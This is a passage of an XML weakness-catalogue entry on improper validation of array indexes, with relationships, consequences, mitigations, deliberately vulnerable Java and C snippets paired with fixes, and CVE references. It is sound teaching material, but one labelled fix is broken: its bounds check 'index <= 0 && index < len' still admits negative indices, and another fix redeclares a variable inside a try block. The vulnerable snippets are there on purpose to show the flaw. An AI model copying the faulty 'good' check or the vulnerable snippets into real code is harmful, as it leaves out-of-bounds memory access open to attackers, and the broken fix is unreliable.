					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>823</Relationship_Target_ID>
					          <!--Use of Out-of-range Pointer Offset-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>789</Relationship_Target_ID>
					          <!--Uncontrolled Memory Allocation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>740</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 06 - Arrays (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>874</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness can precede uncontrolled memory allocation (CWE-789) in
						languages that automatically expand an array when an index is used that is
						larger than the size of the array, such as JavaScript.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
					          <Ordinality_Description>
						            <Text>The most common condition situation leading to an out-of-bounds array
							index is the use of loop index variables as buffer indexes. If the end
							condition for the loop is subject to a flaw, the index can grow or
							shrink unbounded, therefore causing a buffer overflow or underflow.
							Another common situation leading to this condition is the use of a
							function's return value, or the resulting value of a calculation
							directly as an index in to a buffer.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C" Prevalence="Often"/>
					          <Language Language_Name="C++" Prevalence="Often"/>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>out-of-bounds array index</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>index-out-of-range</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>array index underflow</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Use of an index that is outside the bounds of an array will very
							likely result in the corruption of relevant memory and perhaps
							instructions, leading to a crash, if the values are outside of the valid
							memory area.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the memory corrupted is data, rather than instructions, the system
							will continue to function with improper values.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Use of an index that is outside the bounds of an array can also
							trigger out-of-bounds read or write operations, or operations on the
							wrong objects; i.e., "buffer overflows" are not always the result. This
							may result in the exposure or modification of sensitive data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the memory accessible by the attacker can be effectively
							controlled, it may be possible to execute arbitrary code, as with a
							standard buffer overflow and possibly without the use of large inputs if
							a precise index can be controlled.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A single fault could allow either an overflow (CWE-788) or underflow
							(CWE-786) of the array index. What happens next will depend on the type
							of operation being performed out of bounds, but can expose sensitive
							information, cause a system crash, or possibly lead to arbitrary code
							execution.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
						            <Text>Automated static analysis generally does not account for environmental
							considerations when reporting out-of-bounds memory operations. This can
							make it difficult for users to determine which warnings should be
							investigated first. For example, an analysis tool might report array
							index errors that originate from command line arguments in a program
							that is not expected to run with setuid or other special
							privileges.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>This is not a perfect solution, since 100% accuracy and coverage are
							not feasible.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Black box methods might not get the needed code coverage within
							limited time constraints, and a dynamic test might not produce any
							noticeable side effects even if it is successful.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-7">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an input validation framework such as Struts or the OWASP ESAPI
							Validation API. If you use Struts, be mindful of weaknesses covered by
							the CWE-101 category.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
						            <Text>Even though client-side checks provide minimal benefits with respect
							to server-side security, they are still useful. First, they can support
							intrusion detection. If the server receives input that should have been
							rejected by the client, then it may be an indication of an attack.
							Second, client-side error-checking can provide helpful feedback to the
							user about the expectations for valid input. Third, there may be a
							reduction in server-side processing time for accidental input errors,
							although this is typically a small savings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>For example, Ada allows the programmer to constrain the values of a
							variable and languages such as Java and Ruby will allow the programmer
							to handle exceptions when an out-of-bounds index is accessed. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-11">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a feature like Address Space Layout Randomization (ASLR) [R.129.3]
							[R.129.4].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution. However, it forces the attacker to
							guess an unknown value that changes every program execution. In
							addition, an attack could still cause a denial of service, since the
							typical response is to exit the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-12">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a CPU and operating system that offers Data Execution Protection
							(NX) or its equivalent [R.129.4] [R.129.5].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since buffer overflows could be used
							to overwrite nearby variables to modify the software's state in
							dangerous ways. In addition, it cannot be used in cases in which
							self-modifying code is required. Finally, an attack could still cause a
							denial of service, since the typical response is to exit the
							application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When accessing a user-controlled array index, use a stringent range of
							values that are within the target array. Make sure that you do not allow
							negative values to be used. That is, verify the minimum as well as the
							maximum of the range of acceptable values.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-35">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Be especially careful to validate all input when invoking code that
							crosses language boundaries, such as from an interpreted language to
							native code. This could create an unexpected interaction between the
							language boundaries. Ensure that you are not violating any of the
							expectations of the language with which you are interfacing. For
							example, even though Java may not be susceptible to buffer overflows,
							providing a large argument in a call to native code might trigger an
							overflow.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.129.6]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the code snippet below, an untrusted integer value is used to
						reference an object in an array.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public String getValue(int index) {</Code>
							              <Block>
								                <Code>return array[index];</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If index is outside of the range of the array, this may result in an
							ArrayIndexOutOfBounds Exception being raised.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-34">
					          <Intro_Text>The following example takes a user-supplied value to allocate an
						array of objects and then operates on the array.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private void buildList ( int untrustedListSize ){</Code>
							              <Block>
								                <Code>if ( 0 &gt; untrustedListSize ){</Code>
								                <Block>
									                  <Code>die("Negative value supplied for list size, die evil
										hacker!");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>Widget[] list = new Widget [ untrustedListSize ];</Code>
								                <Code>list[0] = new Widget();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This example attempts to build a list from a user-specified value, and
							even checks to ensure a non-negative value is supplied. If, however, a 0
							value is provided, the code will build an array of size 0 and then try
							to store a new Widget in the first location, causing an exception to be
							thrown.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-100">
					          <Intro_Text>In the following code, the method retrieves a value from an array at
						a specific array index location that is given as an input parameter to the
						method</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int getValueFromArray(int *array, int len, int index) {</Code>
							              <Block>
								                <Code/>
								                <Code>int value;</Code>
								                <Code/>
								                <Comment>// check that the array index is less than the
									maximum</Comment>
								                <Comment>// length of the array</Comment>
								                <Code>if (index &lt; len) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// get the value at the specified index of the
										array</Comment>
									                  <Code>value = array[index];</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>// if array index is invalid then output error
									message</Comment>
								                <Comment>// and return value indicating error</Comment>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Value is: %d\n", array[index]);</Code>
									                  <Code>value = -1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return value;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, this method only verifies that the given array index is less
							than the maximum length of the array but does not check for the minimum
							value (CWE-839). This will allow a negative value to be accepted as the
							input array index, which will result in a out of bounds read (CWE-125)
							and may allow access to sensitive memory. The input array index should
							be checked to verify that is within the maximum and minimum range
							required for the array (CWE-129). In this example the if statement
							should be modified to include a minimum range check, as shown
							below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code/>
							              <Code>...</Code>
							              <Code/>
							              <Comment>// check that the array index is within the correct</Comment>
							              <Comment>// range of values for the array</Comment>
							              <Code>if (index &lt;= 0 &amp;&amp; index &lt; len)
								{</Code>
							              <Code/>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following example retrieves the sizes of messages for a pop3
						mail server. The message sizes are retrieved from a socket that returns in a
						buffer the message number and the message size, the message number (num) and
						size (size) are extracted from the buffer and the message size is placed
						into an array using the message number for the array index.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Comment>/* capture the sizes of all messages */</Comment>
							              <Code>int getsizes(int sock, int count, int *sizes) {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>char buf[BUFFER_SIZE];</Code>
								                <Code>int ok;</Code>
								                <Code>int num, size;</Code>
								                <Code/>
								                <Comment>// read values from socket and added to sizes
									array</Comment>
								                <Code>while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// continue read from socket until buf only contains
										'.'</Comment>
									                  <Code>if (DOTLINE(buf))</Code>
									                  <Block>
										                    <Code>break;</Code>
									                  </Block>
									                  <Code>else if (sscanf(buf, "%d %d", &amp;num, &amp;size)
										== 2)</Code>
									                  <Block>
										                    <Code>sizes[num - 1] = size;</Code>
									                  </Block>
								                </Block>
								                <Code> }</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In this example the message number retrieved from the buffer could be
							a value that is outside the allowable range of indices for the array and
							could possibly be a negative number. Without proper validation of the
							value to be used for the array index an array overflow could occur and
							could potentially lead to unauthorized access to memory addresses and
							system crashes. The value of the array index should be validated to
							ensure that it is within the allowable range of indices for the array as
							in the following code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Comment>/* capture the sizes of all messages */</Comment>
							              <Code>int getsizes(int sock, int count, int *sizes) {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>char buf[BUFFER_SIZE];</Code>
								                <Code>int ok;</Code>
								                <Code>int num, size;</Code>
								                <Code/>
								                <Comment>// read values from socket and added to sizes
									array</Comment>
								                <Code>while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// continue read from socket until buf only contains
										'.'</Comment>
									                  <Code>if (DOTLINE(buf))</Code>
									                  <Block>
										                    <Code>break;</Code>
									                  </Block>
									                  <Code>else if (sscanf(buf, "%d %d", &amp;num, &amp;size)
										== 2) {</Code>
									                  <Block>
										                    <Code>if (num &gt; 0 &amp;&amp; num &lt;=
											(unsigned)count)</Code>
										                    <Block>
											                      <Code>sizes[num - 1] = size;</Code>
										                    </Block>
										                    <Code>else</Code>
										                    <Block>
											                      <Comment>/* warn about possible attempt to induce buffer
												overflow */</Comment>
											                      <Code>report(stderr, "Warning: ignoring bogus data for
												message sizes returned by server.\n");</Code>
										                    </Block>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code> }</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example the method displayProductSummary is called
						from a Web service servlet to retrieve product summary information for
						display to the user. The servlet obtains the integer value of the product
						number from the user and passes it to the displayProductSummary method. The
						displayProductSummary method passes the integer value of the product number
						to the getProductSummary method which obtains the product summary from the
						array object containing the project summaries using the integer value of the
						product number as the array index.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment>// Method called from servlet to obtain product
								information</Comment>
							              <Code>public String displayProductSummary(int index) {</Code>
							              <Code/>
							              <Block>
								                <Code>String productSummary = new String("");</Code>
								                <Code/>
								                <Code>try {</Code>
								                <Block>
									                  <Code>String productSummary = getProductSummary(index);</Code>
								                </Block>
								                <Code/>
								                <Code>} catch (Exception ex) {...}</Code>
								                <Code/>
								                <Code>return productSummary; </Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public String getProductSummary(int index) {</Code>
							              <Block>
								                <Code>return products[index];</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In this example the integer value used as the array index that is
							provided by the user may be outside the allowable range of indices for
							the array which may provide unexpected results or cause the application
							to fail. The integer value used for the array index should be validated
							to ensure that it is within the allowable range of indices for the array
							as in the following code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment>// Method called from servlet to obtain product
								information</Comment>
							              <Code>public String displayProductSummary(int index) {</Code>
							              <Code/>
							              <Block>
								                <Code>String productSummary = new String("");</Code>
								                <Code/>
								                <Code>try {</Code>
								                <Block>
									                  <Code>String productSummary = getProductSummary(index);</Code>
								                </Block>
								                <Code/>
								                <Code>} catch (Exception ex) {...}</Code>
								                <Code/>
								                <Code>return productSummary; </Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public String getProductSummary(int index) {</Code>
							              <Block>
								                <Code>String productSummary = "";</Code>
								                <Code/>
								                <Code>if ((index &gt;= 0) &amp;&amp; (index &lt;
									MAX_PRODUCTS)) {</Code>
								                <Block>
									                  <Code>productSummary = products[index];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>System.err.println("index is out of bounds");</Code>
									                  <Code>throw new IndexOutOfBoundsException();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return productSummary;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>An alternative in Java would be to use one of the collection objects
							such as ArrayList that will automatically generate an exception if an
							attempt is made to access an array index that is out of bounds.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>ArrayList productArray = new ArrayList(MAX_PRODUCTS);</Code>
							              <Code>...</Code>
							              <Code>try {</Code>
							              <Block>
								                <Code>productSummary = (String) productArray.get(index);</Code>
							              </Block>
							              <Code>} catch (IndexOutOfBoundsException ex) {...}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-90">
					          <Intro_Text>The following example asks a user for an offset into an array to
						select an item.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code/>
							              <Code>int main (int argc, char **argv) {</Code>
							              <Block>
								                <Code>char *items[] = {"boat", "car", "truck", "train"};</Code>
								                <Code>int index = GetUntrustedOffset();</Code>
								                <Code>printf("You selected %s\n", items[index-1]);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer allows the user to specify which element in the list to
							select, however an attacker can provide an out-of-bounds offset,
							resulting in a buffer over-read (CWE-126).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0369</Observed_Example_Reference>
					          <Observed_Example_Description>large ID in packet used as array
						index</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1009</Observed_Example_Reference>
					          <Observed_Example_Description>negative array index as argument to POP LIST
						command</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0721</Observed_Example_Reference>
					          <Observed_Example_Description>Integer signedness error leads to negative array
						index</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1189</Observed_Example_Reference>
					          <Observed_Example_Description>product does not properly track a count and a
						maximum number, which can lead to resultant array index
						overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5756</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: device driver for packet-capturing software
						allows access to an unintended IOCTL with resultant array index
						error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2456</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: array index error (CWE-129) leads to
						deadlock (CWE-833)</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text> An improperly validated array index might lead directly to the
						always-incorrect behavior of "access of array using out-of-bounds index."
					</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.129.1">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 5, "Array Indexing Errors" Page
						144</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.129.2">
					          <Reference_Author>Jason Lam</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 14 - Improper Validation of Array
						Index</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-12</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/12/top-25-series-rank-14-improper-validation-of-array-index/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-22" Local_Reference_ID="R.129.3">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Address Space Layout Randomization in Windows
						Vista</Reference_Title>
